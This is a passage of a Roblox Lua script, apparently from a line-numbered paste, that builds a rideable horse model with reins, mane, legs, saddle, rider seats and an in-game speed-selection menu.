  5422. RPP.Parent = RPart
  5423. RPP.Opacity = 0.045
  5424. RPP.RiseVelocity = 0
  5425. RPP.Size = 0.1
  5426.  
  5427. local Cyl = NP()
  5428. Cyl.BrickColor = ReinsColor
  5429. Cyl.Size = Vector3.new(.2495,.2,.2)
  5430. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5431. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5432. local ReinAnchorR = Cyl
  5433.  
  5434. local RPart = NP() -- ls1
  5435. RPart.BrickColor = ReinsColor
  5436. RPart.Size = Vector3.new(.2,.7,.25)
  5437. Weld(Head,RPart,CFrame.new(-.4,-.5,-1.05)*CFrame.Angles(-.25,0,0))
  5438.  
  5439. local Cyl = NP()
  5440. Cyl.BrickColor = ReinsColor
  5441. Cyl.Size = Vector3.new(.2495,.2,.2)
  5442. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5443. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5444.  
  5445. local RPart = NP() -- ls2
  5446. RPart.BrickColor = ReinsColor
  5447. RPart.Size = Vector3.new(.2,.4,.25)
  5448. Weld(Head,RPart,CFrame.new(-.4,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.35,0)*CFrame.Angles(0,0,.5)*CFrame.new(0,-.2,0))
  5449.  
  5450. local Cyl = NP()
  5451. Cyl.BrickColor = ReinsColor
  5452. Cyl.Size = Vector3.new(.2495,.2,.2)
  5453. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5454. Weld(RPart,Cyl,CFrame.new(0,RPart.Size.Y/2,0)*CFrame.Angles(0,math.pi/2,0))
  5455. local ReinAnchorL = Cyl
  5456.  
  5457. local RPart = NP() -- mb
  5458. RPart.BrickColor = ReinsColor
  5459. RPart.Size = Vector3.new(.5,.2,.249)
  5460. Weld(Head,RPart,CFrame.new(0,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,-.65,0))
  5461.  
  5462. local Cyl = NP()
  5463. Cyl.BrickColor = ReinsColor
  5464. Cyl.Size = Vector3.new(.2495,.2,.2)
  5465. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5466. Weld(RPart,Cyl,CFrame.new(RPart.Size.X/2,0,0)*CFrame.Angles(0,math.pi/2,0))
  5467.  
  5468. local Cyl = NP()
  5469. Cyl.BrickColor = ReinsColor
  5470. Cyl.Size = Vector3.new(.2495,.2,.2)
  5471. Instance.new("SpecialMesh",Cyl).MeshType = "Cylinder"
  5472. Weld(RPart,Cyl,CFrame.new(-RPart.Size.X/2,0,0)*CFrame.Angles(0,math.pi/2,0))
  5473.  
  5474. local RPart = NP() -- mt
  5475. RPart.BrickColor = ReinsColor
  5476. RPart.Size = Vector3.new(.8,.2,.249)
  5477. Weld(Head,RPart,CFrame.new(0,-.5,-1.05)*CFrame.Angles(-.25,0,0)*CFrame.new(0,.35,0))
  5478.  
  5479. local RPart = NP()
  5480. RPart.BrickColor = ReinsColor
  5481. local sm = Instance.new("SpecialMesh",RPart)
  5482. sm.MeshType = "Sphere"
  5483. local ReinSphereL = Weld(Main,RPart,CFrame.new(-1,3,0))
  5484.  
  5485. local RPart = NP()
  5486. RPart.BrickColor = ReinsColor
  5487. local sm = Instance.new("SpecialMesh",RPart)
  5488. sm.MeshType = "Cylinder"
  5489. local ReinLineL = Weld(Main,RPart,CFrame.new(-1,3,-1))
  5490.  
  5491. local RPart = NP()
  5492. RPart.BrickColor = ReinsColor
  5493. local sm = Instance.new("SpecialMesh",RPart)
  5494. sm.MeshType = "Cylinder"
  5495. local ReinSphereR = Weld(Main,RPart,CFrame.new(1,3,0))
  5496.  
  5497. local RPart = NP()
  5498. RPart.BrickColor = ReinsColor
  5499. local sm = Instance.new("SpecialMesh",RPart)
  5500. sm.MeshType = "Cylinder"
  5501. local ReinLineR = Weld(Main,RPart,CFrame.new(1,3,-1))
  5502.  
  5503. local RPart = NP()
  5504. RPart.BrickColor = ReinsColor
  5505. local sm = Instance.new("SpecialMesh",RPart)
  5506. sm.MeshType = "Cylinder"
  5507. local ReinLineM = Weld(Main,RPart,CFrame.new(0,3,0))
  5508.  
  5509. BasePart.Name = "Part"
  5510.  
  5511. local Tail = NP()
  5512. Tail.BrickColor = ManeColor
  5513. Tail.CanCollide = false
  5514. Tail.Transparency = 1
  5515. Tail.Size = Vector3.new(0.8,4.5,0.8)
  5516. local TailWeld = Weld(Main,Tail,CFrame.new(0,.88,3.4)*CFrame.Angles(0,math.rad(10),0),CFrame.new(0,-2.3,0)*CFrame.Angles(math.rad(-130),0,0))
  5517. local TailWeld0 = TailWeld.C0
  5518. local TailHairs = {}
  5519. for i=1,8 do
  5520.         local t = NP()
  5521.         t.CanCollide = false
  5522.         t.BrickColor = Tail.BrickColor
  5523.         t.Size = Vector3.new(.4+aran()*.2,5.5-i*.1,.4+aran()*.2)
  5524.         local tw = Weld(Tail,t,CFrame.new(0,-Tail.Size.Y/2,0)*CFrame.Angles(ran()*.15,ran()*.5,ran()*.15)*CFrame.new(ran()*.1,0,ran()*.1),CFrame.new(0,-t.Size.Y/2+.05,0))
  5525.         table.insert(TailHairs,{w=tw,c0=tw.C0})
  5526. end
  5527. local BackHairs = {}
  5528. for i=0,10 do
  5529.     if i<1 or i>7 then
  5530.         local x = (i/10)
  5531.         local m = NP()
  5532.         m.CanCollide = false
  5533.         m.BrickColor = ManeColor
  5534.         m.Size = Vector3.new(.6+aran()*.2+math.sin(x*2.7)*.5,.9+ran()*.1,.9+ran()*.1)
  5535.         if i<1 then    m.Size = m.Size*0.7    end
  5536.        local tw = Weld(Main,m,CFrame.new(0,.9+math.sin(x*2.8)*1.2,3.4-x*6),CFrame.Angles(ran()*.1,aran()*.1,ran()*.2))
  5537.        table.insert(BackHairs,{w=tw,c0=tw.C0})
  5538.    end
  5539. end
  5540.  
  5541.  
  5542. local NeckHairs = {}
  5543. for i=0,6 do
  5544.    local x = (i/6)
  5545.    local m = NP()
  5546.    m.CanCollide = false
  5547.    m.BrickColor = ManeColor
  5548.    m.Size = Vector3.new(.8+ran()*.2,.7+ran()*.1,.9+ran()*.1)
  5549.    local tw = Weld(Neck,m,CFrame.new(0,-1.3+x*3.5,1+math.sin(.55+x*3.7)*.5),CFrame.Angles(ran()*.08,aran()*.15,ran()*.08))
  5550.    table.insert(NeckHairs ,{w=tw,c0=tw.C0})
  5551. end
  5552.  
  5553.  
  5554. local HeadHairs = {}
  5555. for i=0,6 do
  5556.        local x = math.min(1,(i/3))
  5557.        local m = NP()
  5558.        m.CanCollide = false
  5559.        m.BrickColor = ManeColor
  5560.        if HasHat then        m.Transparency = 1        end
  5561.        m.Size = Vector3.new(.95+ran()*.2,1,.4)
  5562.        local tw = Weld(Head,m,CFrame.new(0,-.8+x*1.6,2.02-i*.23)*CFrame.Angles(-.2-i*.3,0,0),CFrame.Angles(ran()*.08,aran()*.03,ran()*.08))
  5563.        table.insert(HeadHairs ,{w=tw,c0=tw.C0})
  5564. end
  5565.  
  5566. local LHip = NP()
  5567. LHip.Size = Vector3.new(1.5,3.7,3.5)
  5568. Weld(Main,LHip,CFrame.new(-1,-.5,2.2)*CFrame.Angles(0,.35,0))
  5569. Sphere(LHip)
  5570.  
  5571. local LThigh = NP()
  5572. LThigh.CanCollide = false
  5573. LThigh.Size = Vector3.new(1.6,4,2.2)
  5574. local BL1 = Weld(LHip,LThigh,CFrame.new(-.05,.3,-.5)*CFrame.Angles(0,-.35,0)*CFrame.Angles(0,0,0),CFrame.new(0,1.7,0))
  5575. Sphere(LThigh)
  5576.  
  5577. local LBCannon = NP()
  5578. LBCannon.CanCollide = false
  5579. LBCannon.Size = Vector3.new(1,2.8,1)
  5580. local sm = Instance.new("SpecialMesh",LBCannon)
  5581. sm.MeshType = "Head"
  5582. local BL2 = Weld(LThigh,LBCannon,CFrame.new(0,-LThigh.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5583.  
  5584. local LBKnee = NP()
  5585. LBKnee.CanCollide = false
  5586. LBKnee.Size = Vector3.new(1,1,1)
  5587. local sm = Instance.new("SpecialMesh",LBKnee)
  5588. sm.MeshType = "Sphere"
  5589. Weld(LBCannon,LBKnee,CFrame.new(0,LBCannon.Size.Y/2-.1,0))
  5590.  
  5591. local LBHoof = NP()
  5592. LBHoof.BrickColor = HoofColor
  5593. LBHoof.CanCollide = false
  5594. LBHoof.Size = Vector3.new(1,.7,1)
  5595. Instance.new("CylinderMesh",LBHoof)
  5596. local BL3 = Weld(LBCannon,LBHoof,CFrame.new(0,-LBCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5597.  
  5598. local Hoof = NP()
  5599. Hoof.BrickColor = HoofColor
  5600. Hoof.CanCollide = false
  5601. Hoof.Size = Vector3.new(.2,.699,.5)
  5602. Weld(LBHoof,Hoof,CFrame.new(.4,0,.25))
  5603. local Hoof = NP()
  5604. Hoof.BrickColor = HoofColor
  5605. Hoof.CanCollide = false
  5606. Hoof.Size = Vector3.new(.2,.699,.5)
  5607. Weld(LBHoof,Hoof,CFrame.new(-.4,0,.25))
  5608.  
  5609. local RHip = NP()
  5610. RHip.Size = Vector3.new(1.5,3.7,3.5)
  5611. Weld(Main,RHip,CFrame.new(1,-.5,2.2)*CFrame.Angles(0,-.35,0))
  5612. Sphere(RHip)
  5613.  
  5614. local RThigh = NP()
  5615. RThigh.CanCollide = false
  5616. RThigh.Size = Vector3.new(1.6,4,2.2)
  5617. local BR1 = Weld(RHip,RThigh,CFrame.new(.05,.3,-.4)*CFrame.Angles(0,.35,0)*CFrame.Angles(0,0,0),CFrame.new(0,1.7,0))
  5618. Sphere(RThigh)
  5619.  
  5620. local RBCannon = NP()
  5621. RBCannon.CanCollide = false
  5622. RBCannon.Size = Vector3.new(1,2.8,1)
  5623. local sm = Instance.new("SpecialMesh",RBCannon)
  5624. sm.MeshType = "Head"
  5625. local BR2 = Weld(RThigh,RBCannon,CFrame.new(0,-RThigh.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5626.  
  5627. local RBKnee = NP()
  5628. RBKnee.CanCollide = false
  5629. RBKnee.Size = Vector3.new(1,1,1)
  5630. local sm = Instance.new("SpecialMesh",RBKnee)
  5631. sm.MeshType = "Sphere"
  5632. Weld(RBCannon,RBKnee,CFrame.new(0,RBCannon.Size.Y/2-.1,0))
  5633.  
  5634. local RBHoof = NP()
  5635. RBHoof.BrickColor = HoofColor
  5636. RBHoof.CanCollide = false
  5637. RBHoof.Size = Vector3.new(1,.7,1)
  5638. Instance.new("CylinderMesh",RBHoof)
  5639. local BR3 = Weld(RBCannon,RBHoof,CFrame.new(0,-RBCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5640.  
  5641. local Hoof = NP()
  5642. Hoof.BrickColor = HoofColor
  5643. Hoof.CanCollide = false
  5644. Hoof.Size = Vector3.new(.2,.699,.5)
  5645. Weld(RBHoof,Hoof,CFrame.new(.4,0,.25))
  5646. local Hoof = NP()
  5647. Hoof.BrickColor = HoofColor
  5648. Hoof.CanCollide = false
  5649. Hoof.Size = Vector3.new(.2,.699,.5)
  5650. Weld(RBHoof,Hoof,CFrame.new(-.4,0,.25))
  5651.  
  5652. local LShoulder = NP()
  5653. LShoulder.Size = Vector3.new(1.5,2.5,2)
  5654. Weld(Main,LShoulder,CFrame.new(-.9,-.5,-2.4)*CFrame.Angles(0,.15,0))
  5655. Sphere(LShoulder)
  5656.  
  5657. local LForearm = NP()
  5658. LForearm.CanCollide = false
  5659. LForearm.Size = Vector3.new(1.2,3.5,1.5)
  5660. local FL1 = Weld(LShoulder,LForearm,CFrame.new(-.1,.2,.1)*CFrame.Angles(0,0,0),CFrame.new(0,1.45,0))
  5661. Sphere(LForearm)
  5662.  
  5663. local LFCannon = NP()
  5664. LFCannon.CanCollide = false
  5665. LFCannon.Size = Vector3.new(.8,2.8,.8)
  5666. local sm = Instance.new("SpecialMesh",LFCannon)
  5667. sm.MeshType = "Head"
  5668. local FL2 = Weld(LForearm,LFCannon,CFrame.new(0,-LForearm.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5669.  
  5670. local LFKnee= NP()
  5671. LFKnee.CanCollide = false
  5672. LFKnee.Size = Vector3.new(.8,.8,.8)
  5673. local sm = Instance.new("SpecialMesh",LFKnee)
  5674. sm.MeshType = "Sphere"
  5675. Weld(LFCannon,LFKnee,CFrame.new(0,LFCannon.Size.Y/2-.1,0))
  5676.  
  5677. local LFHoof = NP()
  5678. LFHoof.BrickColor = HoofColor
  5679. LFHoof.CanCollide = false
  5680. LFHoof.Size = Vector3.new(.8,.6,.8)
  5681. Instance.new("CylinderMesh",LFHoof)
  5682. local FL3 = Weld(LFCannon,LFHoof,CFrame.new(0,-LFCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5683.  
  5684. local Hoof = NP()
  5685. Hoof.BrickColor = HoofColor
  5686. Hoof.CanCollide = false
  5687. Hoof.Size = Vector3.new(.2,.599,.4)
  5688. Weld(LFHoof,Hoof,CFrame.new(.3,0,.2))
  5689. local Hoof = NP()
  5690. Hoof.BrickColor = HoofColor
  5691. Hoof.CanCollide = false
  5692. Hoof.Size = Vector3.new(.2,.599,.4)
  5693. Weld(LFHoof,Hoof,CFrame.new(-.3,0,.2))
  5694.  
  5695. local RShoulder = NP()
  5696. RShoulder.Size = Vector3.new(1.5,2.5,2)
  5697. Weld(Main,RShoulder,CFrame.new(.9,-.5,-2.4)*CFrame.Angles(0,-.15,0))
  5698. Sphere(RShoulder)
  5699.  
  5700. local RForearm = NP()
  5701. RForearm.CanCollide = false
  5702. RForearm.Size = Vector3.new(1.2,3.5,1.5)
  5703. local FR1 = Weld(RShoulder,RForearm,CFrame.new(.1,.2,-.1)*CFrame.Angles(0,0,0),CFrame.new(0,1.45,0))
  5704. Sphere(RForearm)
  5705.  
  5706. local RFCannon = NP()
  5707. RFCannon.CanCollide = false
  5708. RFCannon.Size = Vector3.new(.8,2.8,.8)
  5709. local sm = Instance.new("SpecialMesh",RFCannon)
  5710. sm.MeshType = "Head"
  5711. local FR2 = Weld(RForearm,RFCannon,CFrame.new(0,-RForearm.Size.Y/2+.4,-.05)*CFrame.Angles(0,0,0),CFrame.new(0,1.3,0))
  5712.  
  5713. local RFKnee= NP()
  5714. RFKnee.CanCollide = false
  5715. RFKnee.Size = Vector3.new(.8,.8,.8)
  5716. local sm = Instance.new("SpecialMesh",RFKnee)
  5717. sm.MeshType = "Sphere"
  5718. Weld(RFCannon,RFKnee,CFrame.new(0,RFCannon.Size.Y/2-.1,0))
  5719.  
  5720. local RFHoof = NP()
  5721. RFHoof.BrickColor = HoofColor
  5722. RFHoof.CanCollide = false
  5723. RFHoof.Size = Vector3.new(.8,.6,.8)
  5724. Instance.new("CylinderMesh",RFHoof)
  5725. local FR3 = Weld(RFCannon,RFHoof,CFrame.new(0,-RFCannon.Size.Y/2,0)*CFrame.Angles(0,0,0),CFrame.new(0,.12,.2))
  5726.  
  5727. local Hoof = NP()
  5728. Hoof.BrickColor = HoofColor
  5729. Hoof.CanCollide = false
  5730. Hoof.Size = Vector3.new(.2,.599,.4)
  5731. Weld(RFHoof,Hoof,CFrame.new(.3,0,.2))
  5732. local Hoof = NP()
  5733. Hoof.BrickColor = HoofColor
  5734. Hoof.CanCollide = false
  5735. Hoof.Size = Vector3.new(.2,.599,.4)
  5736. Weld(RFHoof,Hoof,CFrame.new(-.3,0,.2))
  5737.  
  5738.  
  5739.  
  5740. Seat = Instance.new("VehicleSeat",Model)
  5741. Seat.TopSurface,Seat.BottomSurface,Seat.LeftSurface,Seat.RightSurface,Seat.FrontSurface,Seat.BackSurface = 10,10,10,10,10,10
  5742. Seat.Size = Vector3.new(2,1.2,.5)
  5743. Seat.HeadsUpDisplay = false
  5744. Seat.CanCollide = false
  5745. Seat:BreakJoints()
  5746. Seat.Transparency = 1
  5747. Seat.CFrame = Main.CFrame
  5748. SeatWeld = Weld(Main,Seat,CFrame.new(0,2.5,-.5),CFrame.new(0,0,0))
  5749. local SeatWeld0 = SeatWeld.C0
  5750.  
  5751. Seat2 = Instance.new("Seat",Model)
  5752. Seat2.TopSurface,Seat2.BottomSurface,Seat2.LeftSurface,Seat2.RightSurface,Seat2.FrontSurface,Seat2.BackSurface = 10,10,10,10,10,10
  5753. Seat2.Size = Vector3.new(2,1.2,.5)
  5754. Seat2.CanCollide = false
  5755. Seat2.CFrame = Main.CFrame
  5756. Seat2:BreakJoints()
  5757. Seat2.Transparency = 1
  5758. Weld(Seat2,Seat,CFrame.new(0,0,-1.8))
  5759.  
  5760. SaddleMain = NP()
  5761. SaddleMain.Size = Vector3.new(2,1,3.5)
  5762. SaddleMain.BrickColor = SaddleColor
  5763. Sphere(SaddleMain)
  5764. Weld(Seat,SaddleMain,CFrame.new(0,-0.5,0.6))
  5765.  
  5766. SaddleFront = NP()
  5767. SaddleFront.Size = Vector3.new(1.6,1,0.3)
  5768. SaddleFront.BrickColor = SaddleColor
  5769. Sphere(SaddleFront)
  5770. Weld(SaddleMain,SaddleFront,CFrame.new(0,0.4,-1.4)*CFrame.Angles(math.rad(-30),0,0))
  5771.  
  5772. SaddleBack = NP()
  5773. SaddleBack.Size = Vector3.new(1.6,1,0.5)
  5774. SaddleBack.BrickColor = SaddleColor
  5775. Sphere(SaddleBack)
  5776. Weld(SaddleMain,SaddleBack,CFrame.new(0,0.3,1.4)*CFrame.Angles(math.rad(30),0,0))
  5777.  
  5778. SaddleFlankR = NP()
  5779. SaddleFlankR.Size = Vector3.new(0.3,1.7,1.8)
  5780. SaddleFlankR.BrickColor = SaddleColor
  5781. Sphere(SaddleFlankR)
  5782. Weld(SaddleMain,SaddleFlankR,CFrame.new(1.5,-0.8,0),CFrame.new(0.1,-0.7,0)*CFrame.Angles(0,0,math.rad(-30)))
  5783.  
  5784. SaddleFlankL = NP()
  5785. SaddleFlankL.Size = Vector3.new(0.3,1.7,1.8)
  5786. SaddleFlankL.BrickColor = SaddleColor
  5787. Sphere(SaddleFlankL)
  5788. Weld(SaddleMain,SaddleFlankL,CFrame.new(-1.5,-0.8,0),CFrame.new(-0.1,-0.7,0)*CFrame.Angles(0,0,math.rad(30)))
  5789.  
  5790.  
  5791.  
  5792. local sWeld1,sWeld2;
  5793.  
  5794. Seat.DescendantAdded:connect(function(obj)
  5795.    if obj.Name == "SeatWeld" then
  5796.        sWeld1 = obj
  5797.      torso2 = obj.Part1.Parent.Torso
  5798.        local Torso = obj.Part1.Parent.Torso
  5799.        obj.C0 = obj.C0*CFrame.new(0,0,-1.5)
  5800.        local lhipr = Torso:FindFirstChild("Left Hip")
  5801.        local rhipr = Torso:FindFirstChild("Right Hip")
  5802.        if not lhipr or not rhipr then game:service'Debris':addItem(obj,.1) return end
  5803.        for i,v in pairs(Model:GetChildren()) do
  5804.            if v.Name == "Reins" and v:IsA("BasePart") then
  5805.                v.Transparency = Main.Transparency
  5806.            end
  5807.        end
  5808.        local lh0,lh1 = lhipr.Part0,lhipr.Part1
  5809.        local rh0,rh1 = rhipr.Part0,rhipr.Part1
  5810.        lhipr.Part0,lhipr.Part1 = nil,nil
  5811.        rhipr.Part0,rhipr.Part1 = nil,nil
  5812.        local lhip = lhipr:Clone()
  5813.        lhip.Name = "LH"
  5814.        lhip.Parent = lhipr.Parent
  5815.        lhip.Part0,lhip.Part1 = lh0,lh1
  5816.        local rhip = rhipr:Clone()
  5817.        rhip.Name = "RH"
  5818.        rhip.Parent = rhipr.Parent
  5819.        rhip.Part0,rhip.Part1 = rh0,rh1
  5820.        lhip.DesiredAngle = 0
  5821.        rhip.DesiredAngle = 0
  5822.        local lhip0,lhip1,rhip0,rhip1 = lhip.C0,lhip.C1,rhip.C0,rhip.C1
  5823.        lhip.C0 = lhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-40))
  5824.        lhip.C1 = lhip1*CFrame.new(0.1,-0.2,0)
  5825.        rhip.C0 = rhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(40))
  5826.        rhip.C1 = rhip1*CFrame.new(-0.1,-0.2,0)
  5827.        local toolOn = false
  5828.        local toolAn = 0
  5829.        local toolCon;
  5830.        local toolChan;
  5831.        local oc0 = obj.C0
  5832.        local newChild = function(d)
  5833.            local md = d:FindFirstChild("MouseDown")
  5834.            if d:IsA("Tool") and md and md:IsA("BoolValue") then
  5835.                pcall(function() toolChan:disconnect() end)
  5836.                toolOn = false
  5837.                toolChan = md.Changed:connect(function()
  5838.                    toolOn = md.Value
  5839.                    if not toolOn then return end
  5840.                    pcall(function() ReinsHold = CFrame.new(0,2,-1.7) end)
  5841.                    while toolOn and game:service'RunService'.Stepped:wait() do
  5842.                        toolAn = math.min(1,toolAn+.2)
  5843.                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  5844.                    end
  5845.                    while not toolOn and game:service'RunService'.Stepped:wait() do
  5846.                        toolAn = math.max(0,toolAn-.2)
  5847.                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  5848.                        if toolAn == 0 then break end
  5849.                    end
  5850.                    ReinsHold = nil
  5851.                end)
  5852.            end
  5853.        end
  5854.        local ctrlgui;
  5855.        if Torso.Parent then
  5856.            toolCon = Torso.Parent.ChildAdded:connect(newChild)
  5857.            for i,v in pairs(Torso.Parent:GetChildren()) do
  5858.                newChild(v)
  5859.            end
  5860.            local plr = game.Players:GetPlayerFromCharacter(Torso.Parent)
  5861.            if plr then
  5862.                ctrlgui = Instance.new("ScreenGui")
  5863.                local fr = Instance.new("Frame",ctrlgui)
  5864.                fr.Position = UDim2.new(1,0,.9,0)
  5865.                fr.Size = UDim2.new(-.07,0,.02,0)
  5866.                fr.BackgroundTransparency = 1
  5867.                local function nbtn(text,indent)
  5868.                    for i,v in pairs(fr:GetChildren()) do
  5869.                        v.Position = v.Position - UDim2.new(0,0,1,1)
  5870.                    end
  5871.                    local tb = Instance.new("TextButton",fr)
  5872.                    tb.Size = UDim2.new(-1,4+(indent-1)*3,1,-4)
  5873.                    tb.Position = UDim2.new(1,2,0,2)
  5874.                    tb.BorderSizePixel = 3
  5875.                    tb.BackgroundColor3 = HorseColor.Color
  5876.                    tb.BorderColor3 = ManeColor.Color
  5877.                    tb.Text = " "..text.."   "
  5878.                    tb.TextXAlignment = "Left"
  5879.                    tb.TextColor3 = Color3.new(1,1,1)
  5880.                    tb.TextStrokeTransparency = .6
  5881.                    tb.TextScaled = true
  5882.                    tb.ZIndex = 10
  5883.                    local il = Instance.new("ImageLabel",tb)
  5884.                    il.Size = UDim2.new(-1,2,1,-2)
  5885.                    il.Image = "rbxassetid://129465985"
  5886.                    il.SizeConstraint = "RelativeYY"
  5887.                    il.BackgroundTransparency = 1
  5888.                    il.Position = UDim2.new(1,0,0,2)
  5889.                    il.ZIndex = 10
  5890.                    return tb
  5891.                end
  5892.                nbtn("| Horse menu",1).AutoButtonColor = false
  5893.                nbtn("- Max speed",2).AutoButtonColor = false
  5894.                local gal = nbtn("~ Gallop",3)
  5895.                local trot = nbtn("~ Trot",3)
  5896.                local walk = nbtn("~ Walk",3)
  5897.                local tar = (SpeedLimit == MaxSpeed and gal or SpeedLimit == TrotSpeed and trot or walk)
  5898.                tar.BackgroundColor3 = Color3.new(0,.7,0)
  5899.                gal.MouseButton1Down:connect(function()
  5900.                    gal.BackgroundColor3 = Color3.new(0,.7,0)
  5901.                    trot.BackgroundColor3 = HorseColor.Color
  5902.                    walk.BackgroundColor3 = HorseColor.Color
  5903.                    SpeedLimit = MaxSpeed
  5904.                end)
  5905.                trot.MouseButton1Down:connect(function()
  5906.                    gal.BackgroundColor3 = HorseColor.Color
  5907.                    trot.BackgroundColor3 = Color3.new(0,.7,0)
  5908.                    walk.BackgroundColor3 = HorseColor.Color
  5909.                    SpeedLimit = TrotSpeed
  5910.                end)
  5911.                walk.MouseButton1Down:connect(function()
  5912.                    gal.BackgroundColor3 = HorseColor.Color
  5913.                    trot.BackgroundColor3 = HorseColor.Color
  5914.                    walk.BackgroundColor3 = Color3.new(0,.7,0)
  5915.                    SpeedLimit = WalkSpeed
  5916.                end)
  5917.                pcall(function()
  5918.                for i,v in pairs(plr:GetChildren()) do
  5919.                    pcall(function()
  5920.                    if v:IsA("PlayerGui") then
  5921.                        ctrlgui.Parent = v
  5922.                    end
  5923.                    end)
  5924.                end
  5925.                end)
  5926.            end
  5927.        end
  5928.  
  5929.        obj.AncestryChanged:connect(function(c,p)
  5930.            if c ~= obj or p == Seat then return end
  5931.            lhip:Destroy()
  5932.            rhip:Destroy()
  5933.            lhipr.Part0,lhipr.Part1 = lh0,lh1
  5934.            rhipr.Part0,rhipr.Part1 = rh0,rh1
  5935.            obj:Destroy()
  5936.            ReinsHold = nil
  5937.            for i,v in pairs(Model:GetChildren()) do
  5938.                if v.Name == "Reins" and v:IsA("BasePart") then
  5939.                    v.Transparency = 1
  5940.                end
  5941.            end
  5942.            pcall(function() toolCon:disconnect() end)
  5943.            pcall(function() toolChan:disconnect() end)
  5944.            pcall(game.Destroy,ctrlgui)
  5945.        end)
  5946.    end
  5947. end)
  5948.  
  5949. Seat2.DescendantAdded:connect(function(obj)
  5950.    if obj.Name == "SeatWeld" then
  5951.        sWeld2 = obj
  5952.        local Torso = obj.Part1.Parent.Torso
  5953.        obj.C0 = obj.C0*CFrame.new(0,.5,-1.5)
  5954.        local lhipr = Torso:FindFirstChild("Left Hip")
  5955.        local rhipr = Torso:FindFirstChild("Right Hip")
  5956.        if not lhipr or not rhipr then game:service'Debris':addItem(obj,.1) return end
  5957.        local lh0,lh1 = lhipr.Part0,lhipr.Part1
  5958.        local rh0,rh1 = rhipr.Part0,rhipr.Part1
  5959.        lhipr.Part0,lhipr.Part1 = nil,nil
  5960.        rhipr.Part0,rhipr.Part1 = nil,nil
  5961.        local lhip = lhipr:Clone()
  5962.        lhip.Name = "LH"
  5963.        lhip.Parent = lhipr.Parent
  5964.        lhip.Part0,lhip.Part1 = lh0,lh1
  5965.        local rhip = rhipr:Clone()
  5966.        rhip.Name = "RH"
  5967.        rhip.Parent = rhipr.Parent
  5968.        rhip.Part0,rhip.Part1 = rh0,rh1
  5969.        lhip.DesiredAngle = 0
  5970.        rhip.DesiredAngle = 0
  5971.        local lhip0,lhip1,rhip0,rhip1 = lhip.C0,lhip.C1,rhip.C0,rhip.C1
  5972.        lhip.C0 = lhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(-40))
  5973.        lhip.C1 = lhip1*CFrame.new(0.1,-0.2,0)
  5974.        rhip.C0 = rhip0*CFrame.new(0,0.5,0)*CFrame.Angles(math.rad(-45),0,math.rad(40))
  5975.        rhip.C1 = rhip1*CFrame.new(-0.1,-0.2,0)
  5976.        local toolOn = false
  5977.        local toolAn = 0
  5978.        local toolCon;
  5979.        local toolChan;
  5980.        local oc0 = obj.C0
  5981.        local newChild = function(d)
  5982.            local md = d:FindFirstChild("MouseDown")
  5983.            if d:IsA("Tool") and md and md:IsA("BoolValue") then
  5984.                pcall(function() toolChan:disconnect() end)
  5985.                toolOn = false
  5986.                toolChan = md.Changed:connect(function()
  5987.                    toolOn = md.Value
  5988.                    if not toolOn then return end
  5989.                    while toolOn and game:service'RunService'.Stepped:wait() do
  5990.                        toolAn = math.min(1,toolAn+.2)
  5991.                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  5992.                    end
  5993.                    while not toolOn and game:service'RunService'.Stepped:wait() do
  5994.                        toolAn = math.max(0,toolAn-.2)
  5995.                        obj.C0 = CFrame.new(toolAn*1.8,toolAn*-1.1,0)*CFrame.Angles(0,0,-toolAn*.9)*oc0
  5996.                        if toolAn == 0 then break end
  5997.                    end
  5998.                end)
  5999.            end
  6000.        end
  6001.        toolCon = Torso.Parent.ChildAdded:connect(newChild)
  6002.        for i,v in pairs(Torso.Parent:GetChildren()) do
  6003.            newChild(v)
  6004.        end
  6005.        obj.AncestryChanged:connect(function(c,p)
  6006.            if c ~= obj or p == Seat2 then return end
  6007.            lhip:Destroy()
  6008.            rhip:Destroy()
  6009.            lhipr.Part0,lhipr.Part1 = lh0,lh1
  6010.            rhipr.Part0,rhipr.Part1 = rh0,rh1
  6011.            obj:Destroy()
  6012.        end)
  6013.    end
  6014. end)
  6015.  
  6016. for i,v in pairs(Model:GetChildren()) do
  6017.    if v.Name == "Reins" and v:IsA("BasePart") then
  6018.        v.Transparency = 1
  6019.    end
  6020. end
  6021.  
  6022. local Filler = NP()
  6023. Filler.Size = Vector3.new(3,4,7)
  6024. Filler.Transparency = 1
  6025. Weld(Main,Filler,CFrame.new(0,-2,0))
  6026.  
  6027. local BallB = NP()
  6028. BallB.CanCollide = true
  6029. BallB.Shape = "Ball"
  6030. BallB.Size = Vector3.new(3,3,3)
  6031. BallB.Transparency = 1
  6032. local BBW = Weld(Main,BallB,CFrame.new(0,-Height+BallB.Size.Y/2,3))
  6033. BBW0 = BBW.C0
  6034.  
  6035. local BallF = NP()
  6036. BallF.CanCollide = true
  6037. BallF.Shape = "Ball"
  6038. BallF.Size = Vector3.new(3,3,3)
  6039. BallF.Transparency = 1
